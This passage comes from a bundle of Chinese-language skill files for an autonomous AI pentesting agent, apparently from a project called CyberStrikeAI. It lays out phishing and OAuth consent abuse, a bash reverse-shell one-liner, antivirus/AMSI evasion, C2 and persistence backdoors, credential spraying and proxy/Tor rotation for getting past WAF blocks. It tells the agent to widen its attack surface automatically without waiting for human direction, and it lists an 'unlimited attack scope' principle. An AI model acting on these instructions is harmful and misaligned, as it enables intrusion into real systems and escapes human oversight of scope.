gophish发信+落地页 | 载荷 lnk/iso/宏/HTA/OneNote | 绕网关:密码zip/云盘链接/HTML走私\nOAuth同意钓鱼(illicit consent): 恶意App请求过度scope(Mail.Read/offline_access)→受害者同意→长期访问令牌\n社工前戏: OSINT组织架构/供应商/口令习惯(LinkedIn/招聘/GitHub) | pretext借口(IT支持/供应商/HR) | vishing(deepfake声音)\n→ 初始access落地即转 `redteam-opsec`(别一进门就被EDR抓), 拿到的能力进 `capability-primitive-search` 凑链\n```\n\n<!-- File: skills/pentest-agent-os/SKILL.md (Tokens: ~1482 | Category: anthropic-skill) -->\n---\nname: pentest-agent-os\ndescription: >-\n  渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图\n  (upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法\n  (联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+\n  组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。\n  Use when starting a full-chain pentest engagement or needing the skill map for this suite.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, autonomous]\n---\n\n# 渗透测试Agent操作系统\n\n> **渗透不是执行脚本,是搜索路径。**\n> 不给自己预设固定路径/角色/已知利用链。给定起点与目标,\n> 路径未知 → 在状态空间里搜索:不断试不同路径、试错、反馈、逼近目标。\n> **跳出固有攻击链** = 不问\"它有没有已知CVE\",而问\"基于项目黑板上已掌握的事实,下一步最有效的动作是什么\"。\n> 状态落点见 `pentest-blackboard`（SQLite 项目事实，非磁盘 Intent/Hint 状态机）。\n\n## 套件映射（按作用分类）\n\n| 主题 | skill `name` | 作用 |\n|------|--------------|------|\n| 套件索引与核心心法 | `pentest-agent-os` | 套件索引与核心心法 |\n| 项目黑板 | `pentest-blackboard` | 项目 Fact 图 / 边记录 / 与漏洞分工 |\n| 验证铁律 | `pentest-verification` | 验证铁律（防幻觉） |\n| 能力原语 + 状态空间搜索 | `capability-primitive-search` | 能力原语凑链/状态空间搜索 |\n| 联网情报收集 | `component-vuln-intel` | 组件识别后联网搜洞 |\n| 侦察/攻击面测绘 | `attack-surface-recon` | 侦察与攻击面测绘 |\n| 初始访问/钓鱼/社工 | `initial-access-phishing` | 初始访问/钓鱼/社工 |\n| Web注入+认证+服务端+杂项+CDN | `web-attack-methods` | Web全栈攻击手法 |\n| 源码狩猎 | `source-code-hunting` | 源码/密钥/供应链狩猎 |\n| 后渗透/提权+凭据破解 | `post-exploitation` | 后渗透/提权/凭据/密码学 |\n| 内网域 | `active-directory-attack` | 内网域/AD攻击 |\n| APK/EXE/二进制 | `binary-mobile-reversing` | 移动端/二进制逆向 |\n| 云 | `cloud-attack-methods` | 云与对象存储攻击 |\n| 区块链/智能合约 | `blockchain-contract-attack` | 区块链/智能合约 |\n| AI/LLM应用 | `ai-llm-app-attack` | AI/LLM应用攻击 |\n| 无线/硬件 | `wireless-hardware-attack` | 无线与硬件攻击 |\n| 0day自主发现引擎 | `zero-day-discovery` | 0day/N-day自主发现 |\n| 自找代理+工具自举 | `proxy-tool-bootstrap` | 代理换路与工具自举 |\n| OPSEC/隐蔽作战 | `redteam-opsec` | OPSEC/隐蔽作战纪律 |\n| 输出规范 | `pentest-output-standards` | 报告/台账/输出规范 |\n| 专题实战+文件索引 | `specialized-attack-playbooks` | 专题实战利用手册 |\n| 不设限原则 | `unlimited-attack-scope` | 不设限原则 |\n\n### 使用方式\n1. 先加载 `pentest-agent-os`（本索引）理解套件结构。\n2. 按当前攻击面加载对应 skill（例：识别组件→`component-vuln-intel`；Web→`web-attack-methods`；全网无洞→`zero-day-discovery`）。\n3. 黑板/铁律/能力原语（`pentest-blackboard` / `pentest-verification` / `capability-primitive-search`）为全流程常驻规则。\n4. 按攻击面加载对应 skill；细节均在目标 skill 内完整保留。\n\n### 强制行为触发器速查（完整原文在 `pentest-blackboard`）\n- 触发1[识别→搜] → 执行 `component-vuln-intel` 全部命令；线索 tentative，验证后再 confirmed/漏洞\n- 触发2[拒绝→换路] → 执行 `proxy-tool-bootstrap` 换路序列；不通则写负结果 Fact\n- 触发3[新认知→横向] → 凭据/域名/IP 立即横向扩展并 `upsert_project_fact`\n\n<!-- File: skills/pentest-blackboard/SKILL.md (Tokens: ~2626 | Category: anthropic-skill) -->\n---\nname: pentest-blackboard\ndescription: >-\n  CyberStrikeAI 项目黑板：跨会话 Fact 图（SQLite）+ upsert_project_fact/record_vulnerability\n  边渗透边记录节奏、关系边 links、confidence、与多代理协调落库。Use when managing project\n  facts, blackboard index, writing evidence, or avoiding context-loss after compression.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, 项目黑板]\n---\n\n# 项目黑板（与本产品对齐）\n\n> 状态落在**已绑定项目**的 SQLite 黑板，不依赖对话上下文，也不使用 `.pentest/` 目录。\n> 系统自动注入「项目黑板索引」（仅 `fact_key` + summary）；**摘要不足必须 `get_project_fact`，禁止凭摘要臆造细节。**\n\n## 原语与分工（产品模型）\n\n| 概念 | 产品落点 | 规则 |\n|------|----------|------|\n| **Fact** | `project_facts`（`upsert_project_fact`） | 同 `fact_key` **覆盖更新**；非正式漏洞条目。`confidence`: `confirmed` \\| `tentative` \\| `deprecated` |\n| **关系边** | `project_fact_edges`（upsert 的 `links`） | 结构化攻击图；finding/chain/exploit/poc **必须**带 links |\n| **可交付漏洞** | `record_vulnerability` | 与 Fact **可各记一次**：Fact=复现上下文，漏洞=正式 finding |\n| **探索方向** | 本轮计划 / 协调者委派 / plantask（若启用） | **不是**独立 Intent 表；待验证方向用 `confidence=tentative` 的 `note/` 或先不落库、验证后再写 |\n| **人类注入** | 用户消息 / HITL 审批 | 直接吸收进决策；不必写成 Hint 原语 |\n\n### Fact vs 漏洞\n\n- **环境/目标/认证等认知** → 只写 Fact（`target/` `auth/` `infra/` `business/`）\n- **发现与利用上下文** → Fact（`finding/` `chain/` `exploit/` `poc/`）+ body 填满攻击链\n- **可交付 findings** → `record_vulnerability`（标题、严重程度、类型、目标、POC、影响、修复）；记前可用 `list_vulnerabilities` 查重\n\n## 强制节奏：边渗透边记录\n\n勿等会话结束再批量写入。\n\n1. 每**确认**一条新认知（开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化）→ **立即** `upsert_project_fact`（同 key 覆盖）。\n2. 每**验证**出一条可复现漏洞（含 POC/影响）→ **立即** `record_vulnerability`；与事实可各记一次。\n3. 继续下一步前优先落库，避免上下文压缩丢细节。\n4. **未绑项目**：说明无法写黑板，仍在本轮保留证据摘要。\n5. **协调者**：子任务返回新认知/漏洞时由协调者写入，勿假定子代理已记。\n6. **子代理无工具时**：交付物末尾给「待落库」条目（建议 `fact_key`、summary、body/POC 要点），供协调者立即写入。\n\n## 工具速查\n\n| 工具 | 用途 |\n|------|------|\n| `upsert_project_fact` | 写入/更新事实（含 body、confidence、links） |\n| `get_project_fact` | 按 key 取完整 body（索引不够时必调） |\n| `list_project_facts` / `search_project_facts` | 检索黑板 |\n| `deprecate_project_fact` / `restore_project_fact` | 误报废弃 / 恢复 |\n| `record_vulnerability` | 可交付漏洞 |\n| `list_vulnerabilities` / `get_vulnerability` | 查重与详情 |\n\n前置：**当前对话已绑定项目**（否则工具报错）。\n\n## 写入规范\n\n### fact_key / category\n\n- 格式：小写 `category/slug`（如 `target/primary_domain`、`finding/sqli-login`）\n- 环境：`target` \\| `auth` \\| `infra` \\| `business`\n- 发现利用：`finding` \\| `chain` \\| `exploit` \\| `poc`（另可用 `note`）\n- **同一发现保持同一 `fact_key` 覆盖**，勿拆成多个 key 导致上下文丢失\n\n### summary / body / confidence\n\n- **summary**（索引用一行）：须含「什么 + 在哪 + 如何触发/验证」，禁止只写「存在 SQLi」\n- **body**：完整可复现上下文（索引不含 body）。发现/利用类必含：入口 → 步骤 → 原始请求/响应或命令 → 现象 → 证据 → `related_vulnerability_id`（若有）\n- **confidence**：有证据钉死 → `confirmed`；仅线索/待验证 → `tentative`；误报 → `deprecate_project_fact`（或 `deprecated`）\n- 更新时若省略 body，保留库中已有 body（可只改 summary）\n\n### 关系边 links（写入 finding/chain/exploit/poc 时必填）\n\n- 推荐 `from`：来源 fact → 当前 `fact_key`\n- 最少：finding 至少 1 条 `{from: target/*, type: discovered_on}`；在 finding 上挂 exploit 用 `{from: exploit/*, type: exploits}`\n- 常用 type：`discovered_on` \\| `depends_on` \\| `leads_to` \\| `enables` \\| `exploits` \\| `contains` \\| `part_of` \\| `supports`\n- **省略 links** = 保留已有边；传入 links = **替换**全部入边\n\n## 工作方式（对齐本产品编排）\n\n不设 Bootstrap/Reason/Explore 磁盘状态机。按当前运行模式推进，但**读写黑板的纪律不变**：\n\n| 模式 | 黑板用法 |\n|------|----------|\n| 单代理 / deep | 边干边 `upsert_project_fact`；读索引不够则 `get_project_fact` |\n| plan_execute | 计划步骤产出认知后立即落库；重规划前 `list/search_project_facts` |\n| supervisor | 协调者汇总子代理「待落库」并写入；子代理无工具则结构化交付 |\n\n卡住时：换边/换起点/换攻击域；用 `search_project_facts` 重审已有 Fact，避免重复死路。负结果也要落库（见验证铁律 skill）。\n\n## 行为触发器（纪律）\n\n每步必检（不检=违反验证铁律）：\n\n1. **识别→搜**：识别任何组件/框架/版本/中间件 → 暂停利用 → 立即执行 `component-vuln-intel` 全部命令（browser_navigate+terminal curl，7 个步骤全做）→ 结果用 `tentative` Fact 或本轮计划跟踪 → 搜完才继续。不搜就说「无已知漏洞」=幻觉；**验证后**再 `confirmed` / `record_vulnerability`。\n2. **拒绝→换路**：收到 403/429/超时/RST/WAF 拦/CDN 502/限流/空响应 → 禁止同条件重试 → 立即换路序列：SOCKS5 代理→换 UA→加 XFF→换协议(WS/DNS)→换端口→编码变异（完整代理获取/验证见 `proxy-tool-bootstrap`）→ 全换仍不通才写负结果 Fact（`confirmed` + body 写清已测条件）换面。\n3. **新认知→横向**：拿到凭据/域名/IP/路径 → 立即横向喷：凭据全服务复用 / 新域名全端口扫 / IP 反查同站 → 不等人指示自动扩展攻击面，并 `upsert_project_fact`（如 `auth/cred-*`、`target/related-*`）。有凭据不喷=遗漏。\n\n违反判定：不搜就说「无已知漏洞」=幻觉；被拦不换路=放弃；有凭据不喷=遗漏 → 均违反验证铁律。\n\n## 证据 / 战利品 / 改动\n\n| 原「磁盘」概念 | 本产品做法 |\n|----------------|------------|\n| evidence/ | Fact `body` + `record_vulnerability` 的证明字段 + 工具执行记录；大文件放会话/项目 workspace |\n| loot/ | 凭据特征写入 `auth/` Fact（注意脱敏与授权范围）；完整秘密按项目策略处理 |\n| changelog.md | 写入型改动在回复中台账化，并可 `note/change-*` Fact 记录主机/类型/位置/回滚命令 |\n\n## 与验证铁律的衔接\n\n详见 `pentest-verification`：搜索≠漏洞；无证据不写 `confirmed`；禁止空泛「可能/疑似」当结论；验证失败写负结果 Fact。\n\n<!-- File: skills/pentest-output-standards/SKILL.md (Tokens: ~623 | Category: anthropic-skill) -->\n---\nname: pentest-output-standards\ndescription: >-\n  输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。\n  Use when reporting findings, maintaining change ledger, or formatting pentest output.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 输出规范\n\n```\n语言: 所有分析/推理/报告用中文,工具命令和代码用英文,CVE编号保留英文。\n每步思维链: 当前模式(单代理/deep/plan_execute/supervisor) + 已读黑板要点 + 决策推理 + 执行 + 结果摘要\n  + 是否已 upsert_project_fact / record_vulnerability。\n漏洞报告(每个已验证 Fact/可交付项): 漏洞名+严重程度+影响版本+利用条件+利用步骤(请求/响应)+验证证据(✓实际输出)+影响+修复建议。\n  → 同步 record_vulnerability；复现上下文另 upsert finding/chain/exploit/poc Fact。\n负结果: 测试方法+结果+排除原因 → upsert 负结果 Fact，避免重复打点。\n图状态总览(每轮结束): list/search_project_facts 摘要 + 当前进度 + 下一步；勿臆造未 get 的 body。\n🚨改动台账(每处写入型改动实时记账,清不清交用户): #|时间|主机|类型|位置|内容|回滚命令\n  类型:webshell/新建账户/改配置/持久化/权限改动(DCSync/RBCD/影子凭据)/申请凭据/数据库改动/网络改动\n  改配置前先备份.bak把路径写进台账 | 交付输出完整台账+一键回滚脚本(逆序生成),系统绝不擅自清理。\n  可选: note/change-* Fact 固化台账条目。\n死锁突破(连续多轮负结果且无新攻击面): 强制 list/search_project_facts 重审 → 换域/深度狩猎 → 向用户请求澄清或授权边界。\n```\n\n<!-- File: skills/pentest-verification/SKILL.md (Tokens: ~428 | Category: anthropic-skill) -->\n---\nname: pentest-verification\ndescription: >-\n  验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库,\n  想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 验证铁律（全系统最高规则，违反即幻觉）\n\n```\n1. 搜索结果 ≠ 漏洞。公开情报/PoC线索不可直接 record_vulnerability，也不可写 confidence=confirmed；\n   可写 tentative 的 note/finding 线索，或只留本轮待验证方向，验证后再落库。\n2. 每个 confirmed Fact 必须在 body（或关联漏洞 POC）附验证证据:命令输出/HTTP响应/文件内容/回连记录。\n3. 禁止\"可能/疑似/推测XX\" —— 要么确认+证据写 Fact/漏洞，要么 tentative 标明线索，要么不报。\n4. 验证失败 → 写负结果 Fact(\"测了XX,无可利用漏洞\")，用 upsert_project_fact 落库，防止重复尝试。\n5. 想象力拉满(敢想全网没人串过的链),单步验证零容忍(每段用真实证据钉死后再 confirmed)。\n```\n\n与黑板工具对齐见 `pentest-blackboard`。\n\n<!-- File: skills/post-exploitation/SKILL.md (Tokens: ~1058 | Category: anthropic-skill) -->\n---\nname: post-exploitation\ndescription: >-\n  后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 后渗透 / 提权 / 凭据破解 / 密码学\n\n```\n=== 后渗透/提权 ===\n反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nLinux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD\nWindows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS\n横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials\n🚨RDP凭据确认(密码正确但RDP未启用): hydra报\"account might be valid but not active for remote desktop\" + impacket rdp_check返回\"Connection reset by peer\"(而非\"Access Denied\")= 密码正确但账户无RDP权限。\n  验证: 先用已知错误密码测rdp_check得到\"Access Denied\"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。\n隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE\n免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc\nC2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)\n  Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块\n  Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚\n\n=== 凭据破解 + 密码学攻击 ===\nhash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)\n  策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查\n密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权\n```\n\n<!-- File: skills/proxy-tool-bootstrap/SKILL.md (Tokens: ~1107 | Category: anthropic-skill) -->\n---\nname: proxy-tool-bootstrap\ndescription: >-\n  自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 自找代理 + 工具自举（被拦换路，没工具自己写）\n\n```\n🔴代理(收到拒绝/限流/超时 → 第一反应不是重试,是换路。不换路=放弃=违反黑板触发器2（见 `pentest-blackboard`）):\n  执行序列(按顺序,前一步失败才下一步):\n  ①探目标地区: terminal: curl -s \"http://ip-api.com/json/{目标IP}\" | python3 -c \"import sys,json;d=json.load(sys.stdin);print(d['country'],d['countryCode'])\"\n  ②获取该地区SOCKS5代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country={countryCode}&timeout=5000\" | head -20\n  ③验证代理可达目标: terminal: curl --socks5 {PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ④200=可用,立即用此代理重新执行被拦请求; 非200=换下一个代理重复③\n  ⑤全部SOCKS5失败→获取HTTP代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&country={countryCode}&timeout=5000\" | head -20\n  ⑥HTTP代理验证: terminal: curl --proxy http://{PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ⑦全代理失败→Tor: terminal: curl --socks5 127.0.0.1:9050 --connect-timeout 15 {目标URL}\n  工具统一加代理参数: curl --socks5 / sqlmap --proxy=socks5://{P} / nmap --proxies socks5://{P} / nuclei -proxy socks5://{P} / ffuf -x socks5://{P}\n  轮换策略: 429/403→立即换下一个代理,每20请求主动换(避免新IP也被ban) | Cloudflare→代理池+请求间隔2-5s随机\n  🚨HTTP代理vs SOCKS5: HTTP代理会插入自己的错误页(502/无法显示此页)导致无法区分目标实际响应→需探测时必须用SOCKS5(--socks5)\n    ProxyScrape SOCKS5: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country=CN,JP&timeout=5000\n    验证SOCKS5: curl --socks5 IP:PORT --connect-timeout 5 目标 | HTTP代理只适合已确认可达的目标做匿名/轮换\n工具自举(which X || 用Python实现):\n  无nmap→socket扫端口 | 无ffuf→requests爆目录 | 无sqlmap→手工payload检测 | 无hydra→requests爆破 | 无nuclei→requests打已知payload\n  复杂工具用Python模拟:爬虫requests+bs4 / 编码base64/hex / 哈希hashlib / 加密pycryptodome / 嗅探scapy\n字典自生成: 基于目标域名/公司名造变体 | 从网页提关键词 | 用户名+年份+特殊字符组合 | 服务默认凭据\nOOB基础设施(盲漏洞都靠它): interactsh-client拿oast.fun域名 | 或VPS python3 -m http.server/nc看回连 | ngrok/cloudflared隧道\n  → 看到OOB回连(DNS查询/HTTP请求)才算确认 → 写Fact\n```\n\n<!-- File: skills/README.md (Tokens: ~300 | Category: anthropic-skill) -->\n# Skills Skill\n\nPath: `skills/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/README.md)\n\n<!-- File: skills/redteam-opsec/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# redteam-opsec\n\nPath: `skills/redteam-opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/redteam-opsec/SKILL.md)\n\n<!-- File: skills/source-code-hunting/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# source-code-hunting\n\nPath: `skills/source-code-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/source-code-hunting/SKILL.md)\n\n<!-- File: skills/specialized-attack-playbooks/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# specialized-attack-playbooks\n\nPath: `skills/specialized-attack-playbooks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/specialized-attack-playbooks/SKILL.md)\n\n<!-- File: skills/unlimited-attack-scope/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# unlimited-attack-scope\n\nPath: `skills/unlimited-attack-scope/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/unlimited-attack-scope/SKILL.md)\n\n<!-- File: skills/web-attack-methods/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# web-attack-methods\n\nPath: `skills/web-attack-methods/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/web-attack-methods/SKILL.md)\n\n<!-- ... +113 more modular skills available via /api/skills/Ed1s0nZ/CyberStrikeAI?path={path} -->\n</yakaai_skills>"}